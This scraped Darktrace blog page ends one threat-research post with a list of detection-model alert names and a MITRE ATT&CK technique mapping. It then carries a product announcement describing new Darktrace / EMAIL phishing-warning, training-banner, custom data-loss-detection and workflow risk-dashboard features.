·       Device / Multiple Lateral Movement Model Alerts

·       Device / Network Scan

·       Device / New or Uncommon SMB Named Pipe

·       Device / New or Unusual Remote Command Execution

·       Device / New User Agent

·       Device / Possible RPC Lateral Movement

·       Device / Possible SMB/NTLM Brute Force

·       Device / RDP Scan

·       Device / SMB Lateral Movement

·       Device / SMB Session Brute Force (Non-Admin)

·       Device / SMB Version 1 Access Failures

·       Device / Suspicious File Delete Activity

·       Device / Suspicious Network Scan Activity

·       Device / Unusual SMB Error Detected

·       Device / Unusual SMB To Critical Resource

·       Device / Unusual Winreg Operation

·       Unusual Activity / Multiple Failed Internal Connections

·       Unusual Activity / Possible RPC Recon Activity

·       Unusual Activity / Sustained Anomalous SMB Activity

·       Unusual Activity / Unusual External Data to New Endpoint

·       Unusual Activity / Unusual External Data Transfer

·       Unusual Activity / Unusual File Storage Data Transfer

·       Unusual Activity / Unusual Large Internal Transfer

·       User / New Admin Credentials on Client

·       User / NTLM Login from Unauthenticated Device

Autonomous Response Model Alerts

·       Antigena / Network / External Threat / Antigena Ransomware Block

·       Antigena / Network / External Threat / Antigena Suspicious File Block

·       Antigena / Network / Insider Threat / Antigena Active Threat SMB Write Block

·       Antigena / Network / Insider Threat / Antigena Internal Anomalous File Activity

·       Antigena / Network / Insider Threat / Antigena Large Data Volume Outbound Block

·       Antigena / Network / Insider Threat / Antigena Network Scan Block

·       Antigena / Network / Insider Threat / Antigena Unusual Privileged User Activities Block

·       Antigena / Network / Manual / Quarantine Device

·       Antigena / Network / Significant Anomaly / Antigena Alerts Over Time Block

·       Antigena / Network / Significant Anomaly / Antigena Controlled and Model Alert

·       Antigena / Network / Significant Anomaly / Antigena Enhanced Monitoring from Client Block

·       Antigena / Network / Significant Anomaly / Antigena Enhanced Monitoring from Server Block 100

·       Antigena / Network / Significant Anomaly / Antigena Significant Anomaly from Client Block

MITRE ATT&CK MAPPING

Command and control - Protocol Tunneling - T1572

Command and control – Web Protocols – T1071.001

Credential Access- Exploitation for Credential Access- T1212

Credential Access- Password Guessing- T1110

Discovery- File and Directory Discovery- T1083

Discovery- Network Service Discovery- T1046

Discovery- Network Share Discovery- T1135

Discovery- Remote System Discovery- T1018

Exfiltration- Exfiltration Over C2 Channel- T1041

Exfiltration- Exfiltration to Cloud Storage- T1567

Impact- Data Encrypted for Impact- T1486

Impact- Data Encrypted for Impact- T1486

Impact- Service Stop - T1489

Initial Access- Public-Facing Application- T1190

Lateral Movement- Exploitation of Remote Services- T1210

Lateral Movement- Remote Desktop Protocol- T1021

Lateral Movement- SMB/Windows Admin Shares- T1021

Lateral Movement- Taint Shared Content- T1080

Persistence- Modify Registry- T1112

Privilege Escalation- Exploitation for Privilege Escalation- T0890

Privilege Escalation- Valid Accounts- T1078

Reconnaissance- Scanning IP Blocks- T1595

Reconnaissance- Vulnerability Scanning- T1595

Resource Development- Malware- T1588

Stealth- File Deletion- T1070

Continue reading
About the author
Alexandra Evzona
Cyber Analyst

Blog

/

Email

/

July 28, 2026

Darktrace / EMAIL Expands Behavioral Defense Across Email and Collaboration Workflows

Default blog imageDefault blog image

Email and collaboration tools do more than carry messages. They are where organizations approve payments, share sensitive data, reset credentials, and make thousands of everyday decisions. Increasingly, they are interfaces through which humans direct AI agents in their daily activity. Email, Slack and Teams are high volume, rich with sensitive data, and an easy place to hide malicious activity.

The opportunity isn’t lost on bad actors. Darktrace / EMAIL detected more than 32 million high-confidence phishing emails globally in 2025, and 70% of those messages passed DMARC authentication.  Phishing is increasingly difficult to detect and familiar trust signals alone are not enough. People and security teams need to understand how a message fits the normal behavior of the sender, recipient, and organization. They also need to correlate activity across platforms to spot threats that span multiple channels.

To effectively secure against today’s evolved threats, security teams need to act at two levels: they need to help each employee make a safer decision ‘in the moment’, and they need to understand the wider patterns that may expose the business to risk.

Darktrace is introducing four new capabilities in Darktrace / EMAIL to address both challenges. The new features explain suspicious content more clearly to end users, strengthen the capabilities of Darktrace / Adaptive Human Defense with richer guidance, let organizations define their own patterns for detecting sensitive data in messages, and give security teams a process-level view of risk across email and collaboration workflows.

Darktrace / EMAIL Inbox Analysis highlights risky content within your emails

A warning is more useful when it explains what the user should look at. To help do that, we’ve expanded Darktrace / EMAIL’s Inbox Analysis Add-In to highlight potentially dangerous content within the body of emails that Darktrace / EMAIL flags as potentially suspicious or high risk.  

The add-in can highlight language designed to create urgency, financial references, requests for payment, suspicious links, and content that is unusual for the sender. Each highlighted element includes a pop up that explains why it may be suspicious. Instead of asking an employee to accept a verdict without context, the analysis helps them examine the message and make a more informed decision.

Enhanced Just-In-Time Training Banners in Darktrace / Adaptive Human Defense

Enhanced Just-In-Time Training Banners build on the same principle. The banners now include a contextual header, actionable advice, and specific detection context. This gives employees more useful guidance at the point of risk without adding unnecessary information or cognitive load.

Together, the capabilities help turn a warning into a short learning moment. Employees can see what looks unusual, understand what action to take, and build their judgment.

Custom Sensitive Data Detection in Darktrace / EMAIL - Data Loss Prevention

Sensitive data is different for every business. Standard categories such as payment card details or government identifiers matter, but organizations also have their own customer codes, project names, research formats, account structures, and internal identifiers.

Custom Sensitive Data Detection in Darktrace / EMAIL - Data Loss Prevention allows administrators to write custom expressions for the data their organization needs to protect. Matched content can trigger existing model actions and data loss prevention (DLP) workflows, extending Darktrace's DLP capabilities.

This extends data loss detection beyond a fixed library of common data types. Security teams can apply controls to information that is sensitive in the context of their own organization and adapt those controls as the business changes.

Introducing Email and Collaboration Workflow Risk Posture Dashboards

Some of the most important risks are not isolated events. They are repeated ways of working that create an opening for error, misuse, or attack. For example, a payment request may be one suspicious message, but a recurring approval workflow that relies on weak verification is a business process risk.

The new Email and Collaboration Workflow Risk Posture Dashboard analyzes email and collaboration data across Email, Microsoft Teams, Slack and Zoom to provide a process-level view of risk in the organization. These may include financial authorization workflows, sensitive data sharing patterns, and activity that could expose credentials.

The dashboard brings these patterns into a view and provides actionable recommendations. This helps security teams determine where to investigate or strengthen controls, where ownership needs to be clarified, and where the business may need to change a risky process. It gives CISOs a clearer view of how human and communication risk is embedded in everyday operations, not only where individual alerts occur.

Behavior connects the individual decision to the wider risk

These capabilities build on Darktrace’s unique behavioral approach to security. We use Adaptive AI to learn how people and AI normally behave within an organization, creating the context needed to recognize when activity changes.

Within the Darktrace Behavioral Defense Platform, Darktrace / EMAIL helps protect people against phishing, account takeover, data exfiltration, and human risk across email and collaboration tools. The new capabilities extend that protection in both directions. They give employees clearer context for the decision in front of them, while giving security leaders a broader view of the workflows and behavior that create risk across the organization.

The result is not simply more alerts. It is a better understanding of why something is risky, what action to take, and where the organization can reduce risk before a familiar process becomes an easy route for an attacker.

[related-resource]

Continue reading
About the author
Carlos Gray
Senior Product Marketing Manager, Email
あなたのデータ × DarktraceのAI
唯一無二のDarktrace AIで、ネットワークセキュリティを次の次元へ